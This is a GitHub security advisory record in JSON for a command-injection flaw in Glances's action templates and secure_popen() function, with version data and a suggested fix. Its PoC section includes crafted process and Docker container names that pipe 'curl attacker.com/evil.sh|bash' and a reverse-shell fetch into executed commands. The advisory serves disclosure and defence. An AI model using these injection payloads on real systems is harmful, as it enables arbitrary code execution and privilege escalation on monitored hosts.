{"id":"GHSA-vcv2-q258-wrg7","summary":"Glances has a Command Injection via Process Names in Action Command Templates","details":"## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"&&\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by \u003e and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, \u003e, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" \u003e\u003e /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   \u003c-- INJECTED\n#   Command 3: bash used 99% CPU\" \u003e\u003e /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   \u003c-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The \u003e redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"&&\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\"\u003e\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```","aliases":["CVE-2026-32608","PYSEC-2026-2167"],"modified":"2026-07-13T07:26:49.975962755Z","published":"2026-03-16T16:26:22Z","database_specific":{"nvd_published_at":"2026-03-18T07:16:21Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-16T16:26:22Z"},"references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32608"},{"type":"WEB","url":"https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"},{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.2"}],"affected":[{"package":{"name":"glances","ecosystem":"PyPI","purl":"pkg:pypi/glances"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vcv2-q258-wrg7/GHSA-vcv2-q258-wrg7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}